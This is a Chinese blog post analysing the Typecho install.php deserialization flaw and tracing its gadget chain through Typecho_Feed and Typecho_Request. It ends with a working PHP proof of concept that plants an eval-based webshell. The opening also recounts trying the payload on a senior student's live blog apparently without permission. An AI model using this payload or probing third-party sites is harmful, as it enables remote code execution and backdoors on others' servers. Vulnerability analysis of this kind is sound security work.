/ 代码审计

Typecho反序列化漏洞分析

0x01 事发

10月25号下午在t00ls上看到别人发了分析文章,分析都出来了估计漏洞早就出来了,然后第一时间想到了某位学长的博客就是用Typecho搭建的,就想试一下Payload,结果学长的博客的install.php文件以及改掉了,然后在群里问学长说他是前一天晚上看到的。哎。。自己的信息获取太慢了。前一段时间Typecho还被报了ssrf漏洞,这次猜测两个洞出自同一人之手,果然这几天洞主也亲自在先知发了文章,说是在国庆期间审计出来的。

0x02 分析

漏洞位于install.php文件中,该文件在博客安装完成后不会默认删除,漏洞代码见下图

typecho install文件

当get参数含有finish并且cookie中含有__typecho_config且refer改成同源就可以进入反序列化语句块。refer同源是在install.php的64-77行为了防止跨站请求而做的限制。

我们可以控制的内容是cookie中的__typecho_config参数,该参数先被base64_decode,然后被反序列化,反序列化成config变量,其中的adapter和prefix被当做Typecho_Db类的参数new了一个Typecho_Db对象。Typecho_Db类(位于var/Typecho/Db.php中)构造函数如下:

typecho Typecho_Db类构造函数

其中的这句代码:

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

拼接了$adapterName参数,这个参数来自我们的__typecho_config参数中,这里有一个知识点,如果$adapterName是一个对象的话,将其和字符串凭借会导致调用魔术方法__toString。于是为了能够利用,我们在typecho的源码中搜索存在__toString方法的类。找到了这么几个:

typecho中存在toString魔术方法的类

其中Feed.php中的Typecho_Feed是存在__toString方法,并且在里面有这样一段代码

typecho Typecho_Feed类toString方法

当我们使用->访问对象中的无法访问的属性时会调用该对象中的_get方法,无法访问的属性包括两种:不存在的属性、私有属性(Private/Protected)。到这个地方,我们假设我们的__typecho_config中的adapter参数是一个Typecho_Feed对象,那么代码会运行到这里,并且访问这个对象中的$item['author']->screenName。所以我们在构造Payload中的Typecho_Feed对象中我们要有$item['author']属性,并且这个属性是一个对象,screenName是他的属性,并且是不可访问的,而且有__get魔术方法,于是我们急需去找。

typecho中含有get魔术方法的类

关注到Request.php中的Typecho_Request类存在__get方法,并且调用了get方法,跟进。

typecho Typecho_Request的get方法

关注代码片段:

$this->_applyFilter($value)

其中$value参数是在上面的swith代码段中设置的,如果我们的$item['author']是该对象,我们就可以构造一个_params是一个含有screenName的数组。跟进_applyFilter函数

typecho applyFilter函数

关注代码片段:

call_user_func($filter, $value);

这个函数是一个调用函数的函数,其会导致这样的调用$filter($value);其中$filter是Typecho_Request类的一个属性。

0x03 构造PoC

<?php

class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    
    private $_type = 'RSS 2.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array("screenName"=>"file_put_contents('aa.php', '<?php @eval($_POST[x]);?>')");
    private $_filter = array('assert');
}

$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$poc = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($poc));

0x04 后记

整个文章是在看了别人的分析后写的,是以写PoC的视角写的,与真正的审计过程有一些不同,比如对于存在__toSting的类我们需要去看每一个,才能发现只有Typecho_Feed是可以利用的,其他的会走不通。总的来说,洞主是一个思路缜密,对PHP代码审计非常精通的人,整个漏洞的利用过程很值得学习。